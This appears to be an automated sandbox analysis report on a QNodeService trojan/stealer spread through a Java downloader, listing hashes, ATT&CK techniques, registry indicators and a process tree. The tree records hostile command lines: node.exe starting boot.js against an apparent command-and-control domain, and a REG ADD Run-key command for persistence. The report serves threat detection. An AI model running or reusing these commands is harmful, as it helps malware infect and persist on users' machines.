qnodeservice | f921f323a0e6f0ca53a93de02d0c5920dd4fc1ffe902c139387bf92f47e098db

General

Target

Order30092020.jar
Size

269KB
MD5

43db376d6d1c00b41b79d8dd5eed3e5e
SHA1

04b307fb43cad6b2a4d8d6ec338009d55b0255e1
SHA256

f921f323a0e6f0ca53a93de02d0c5920dd4fc1ffe902c139387bf92f47e098db
SHA512

b2c2ee8e1b958954c20bf75cfb16d7c1c9aa38941dea484835be9603659adc13fbd64b3531a08b908a5e635c640a3953836fb91cb65a8de11b28805cde99f503

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2220	node.exe
2192	node.exe
1292	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\9cbf673c-c9be-43c0-89fa-ca7458b2d721 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ada1-166.dat	js
behavioral2/files/0x000100000001ada1-170.dat	js
behavioral2/files/0x000100000001ada1-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2220	node.exe
2220	node.exe
2220	node.exe
2220	node.exe
2192	node.exe
2192	node.exe
2192	node.exe
2192	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe
1292	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 2624	3820	java.exe	73
PID 3820 wrote to memory of 2624	3820	java.exe	73
PID 2624 wrote to memory of 2220	2624	javaw.exe	77
PID 2624 wrote to memory of 2220	2624	javaw.exe	77
PID 2220 wrote to memory of 2192	2220	node.exe	79
PID 2220 wrote to memory of 2192	2220	node.exe	79
PID 2192 wrote to memory of 1292	2192	node.exe	80
PID 2192 wrote to memory of 1292	2192	node.exe	80
PID 1292 wrote to memory of 3024	1292	node.exe	82
PID 1292 wrote to memory of 3024	1292	node.exe	82
PID 3024 wrote to memory of 1240	3024	cmd.exe	83
PID 3024 wrote to memory of 1240	3024	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Order30092020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\c17b823e.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain qhub55.duckdns.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_InYoJ9\boot.js --hub-domain qhub55.duckdns.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2192
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_InYoJ9\boot.js --hub-domain qhub55.duckdns.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1292
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9cbf673c-c9be-43c0-89fa-ca7458b2d721" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3024
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9cbf673c-c9be-43c0-89fa-ca7458b2d721" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1240

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1292-175-0x000001196EAC0000-0x000001196EAC1000-memory.dmp

Filesize
4KB

Download
memory/2192-171-0x000002CCF9C00000-0x000002CCF9C01000-memory.dmp

Filesize
4KB

Download
memory/2220-168-0x000000B59DDC0000-0x000000B59DDC1000-memory.dmp

Filesize
4KB

Download

Analysis

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